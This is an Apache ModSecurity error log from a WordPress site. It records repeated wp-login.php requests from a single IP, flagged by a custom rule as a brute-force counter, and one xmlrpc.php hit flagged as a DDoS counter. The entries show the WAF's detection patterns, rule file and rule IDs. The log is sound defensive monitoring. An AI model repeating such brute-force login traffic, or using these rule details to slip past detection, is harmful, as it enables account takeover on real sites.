[Fri Feb 27 02:20:56.284338 2026] [:error] [pid 18843:tid 18955] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPCCuD2bhSYSowPs0Q1AAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:58.875879 2026] [:error] [pid 18843:tid 18946] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPCiuD2bhSYSowPs0Q2QAAAQY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:00.687969 2026] [:error] [pid 18843:tid 18942] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPDCuD2bhSYSowPs0Q3QAAAQI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:03.306266 2026] [:error] [pid 18843:tid 18963] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPDyuD2bhSYSowPs0Q4gAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:05.250586 2026] [:error] [pid 18843:tid 18945] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPESuD2bhSYSowPs0Q5gAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:07.824236 2026] [:error] [pid 18843:tid 18953] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPEyuD2bhSYSowPs0Q8AAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:09.468084 2026] [:error] [pid 18843:tid 18962] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPFSuD2bhSYSowPs0Q9QAAARY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:12.150460 2026] [:error] [pid 18843:tid 18960] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPGCuD2bhSYSowPs0Q9wAAARQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:13.844577 2026] [:error] [pid 18843:tid 18941] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPGSuD2bhSYSowPs0Q-AAAAQE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:17.567192 2026] [:error] [pid 20059:tid 20124] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPHZZBS5wIa_NsqsgyUgAAAdY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:19.566277 2026] [:error] [pid 20059:tid 20112] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPH5ZBS5wIa_NsqsgyXwAAAco"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:22.199522 2026] [:error] [pid 20059:tid 20115] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPIpZBS5wIa_NsqsgyaQAAAc0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:24.268763 2026] [:error] [pid 20059:tid 20106] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPJJZBS5wIa_NsqsgybAAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:28.132792 2026] [:error] [pid 20059:tid 20126] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPKJZBS5wIa_NsqsgyggAAAdg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:30.003459 2026] [:error] [pid 20059:tid 20109] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPKpZBS5wIa_NsqsgyiQAAAcc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:32.657747 2026] [:error] [pid 20059:tid 20103] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPLJZBS5wIa_NsqsgylQAAAcE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:34.409199 2026] [:error] [pid 20059:tid 20120] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPLpZBS5wIa_NsqsgymAAAAdI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:37.062549 2026] [:error] [pid 20059:tid 20124] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPMZZBS5wIa_NsqsgyoAAAAdY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:39.142995 2026] [:error] [pid 20059:tid 20103] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPM5ZBS5wIa_NsqsgypAAAAcE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:41.799815 2026] [:error] [pid 20059:tid 20107] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPNZZBS5wIa_NsqsgyqwAAAcU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:43.861767 2026] [:error] [pid 20059:tid 20108] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPN5ZBS5wIa_Nsqsgy1AAAAcY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:46.509504 2026] [:error] [pid 20059:tid 20115] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPOpZBS5wIa_Nsqsgy2wAAAc0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:48.449205 2026] [:error] [pid 20059:tid 20124] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPPJZBS5wIa_Nsqsgy3wAAAdY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:51.139158 2026] [:error] [pid 20059:tid 20107] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPP5ZBS5wIa_Nsqsgy7gAAAcU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:52.893643 2026] [:error] [pid 20059:tid 20125] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPQJZBS5wIa_Nsqsgy9AAAAdc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:56.208382 2026] [:error] [pid 20059:tid 20113] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPRJZBS5wIa_NsqsgzDQAAAcs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:21:58.064934 2026] [:error] [pid 20059:tid 20105] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPRpZBS5wIa_NsqsgzEwAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:00.824998 2026] [:error] [pid 20059:tid 20122] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPSJZBS5wIa_NsqsgzHwAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:02.706177 2026] [:error] [pid 20059:tid 20119] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPSpZBS5wIa_NsqsgzLgAAAdE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:05.323521 2026] [:error] [pid 20059:tid 20125] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPTZZBS5wIa_NsqsgzQQAAAdc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:07.223271 2026] [:error] [pid 20059:tid 20120] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPT5ZBS5wIa_NsqsgzSgAAAdI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:09.848114 2026] [:error] [pid 20059:tid 20122] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPUZZBS5wIa_NsqsgzVAAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:12.355918 2026] [:error] [pid 20059:tid 20122] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPVJZBS5wIa_NsqsgzXAAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:15.063891 2026] [:error] [pid 20059:tid 20104] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPV5ZBS5wIa_NsqsgzZgAAAcI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:17.049696 2026] [:error] [pid 20059:tid 20120] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPWZZBS5wIa_NsqsgzcAAAAdI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:19.814893 2026] [:error] [pid 20059:tid 20125] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPW5ZBS5wIa_NsqsgzfAAAAdc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:21.579914 2026] [:error] [pid 20059:tid 20102] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPXZZBS5wIa_NsqsgzgAAAAcA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:24.237522 2026] [:error] [pid 20059:tid 20102] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPYJZBS5wIa_NsqsgzkgAAAcA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:26.068595 2026] [:error] [pid 20059:tid 20102] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPYpZBS5wIa_NsqsgzmQAAAcA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:28.696286 2026] [:error] [pid 20059:tid 20108] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPZJZBS5wIa_NsqsgzqwAAAcY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:30.658936 2026] [:error] [pid 20059:tid 20103] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPZpZBS5wIa_NsqsgztgAAAcE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:33.360084 2026] [:error] [pid 20059:tid 20109] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPaZZBS5wIa_NsqsgzwAAAAcc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:35.033524 2026] [:error] [pid 20059:tid 20112] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPa5ZBS5wIa_NsqsgzyAAAAco"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:37.738922 2026] [:error] [pid 20059:tid 20106] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPbZZBS5wIa_Nsqsgz0wAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:39.756774 2026] [:error] [pid 20059:tid 20112] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPb5ZBS5wIa_Nsqsgz3QAAAco"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:41.847956 2026] [:error] [pid 18843:tid 18940] [client 57.130.20.252:50259] [client 57.130.20.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.130.20.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCPcSuD2bhSYSowPs0RbwAAAQA"]
[Fri Feb 27 02:22:42.496724 2026] [:error] [pid 20059:tid 20114] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPcpZBS5wIa_Nsqsgz6AAAAcw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:44.627798 2026] [:error] [pid 20059:tid 20117] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPdJZBS5wIa_Nsqsgz7wAAAc8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:47.290131 2026] [:error] [pid 20059:tid 20105] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPd5ZBS5wIa_Nsqsgz-QAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:49.392750 2026] [:error] [pid 20059:tid 20104] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPeZZBS5wIa_Nsqsgz_wAAAcI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:52.090076 2026] [:error] [pid 20059:tid 20112] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPfJZBS5wIa_Nsqsg0DgAAAco"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:54.221039 2026] [:error] [pid 20059:tid 20125] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPfpZBS5wIa_Nsqsg0HQAAAdc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:56.939036 2026] [:error] [pid 20059:tid 20106] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPgJZBS5wIa_Nsqsg0PwAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:22:59.126233 2026] [:error] [pid 20059:tid 20111] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPg5ZBS5wIa_Nsqsg0YgAAAck"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:03.349657 2026] [:error] [pid 20059:tid 20108] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPh5ZBS5wIa_Nsqsg0kQAAAcY"], referer: https://gigfragments.org/wp-login.php
